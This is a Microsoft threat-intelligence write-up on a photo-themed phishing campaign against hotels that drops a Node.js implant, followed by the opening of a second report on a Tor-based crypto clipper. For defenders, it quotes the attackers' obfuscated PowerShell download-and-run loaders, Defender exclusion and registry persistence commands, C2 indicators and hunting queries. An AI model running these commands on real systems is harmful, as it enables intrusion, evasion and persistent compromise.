Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $
+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $
 -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Representative observed domains 

Wave 1 domains 

Wave 2 domains  

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Key behavioral patterns 

References

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
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The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.

The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.

The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.

For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.

Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.

Attack chain overview

Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.  

The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component.  Figure 1 presents a high-level execution flow of the two components.

The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.

After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.

Behaviors and methodologies

Initial access

Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.

The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.

Execution

Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.

A five-character naming convention is used both for the subfolder and the scripts’ names.

The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:

The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.

Defense evasion

The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.

The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.

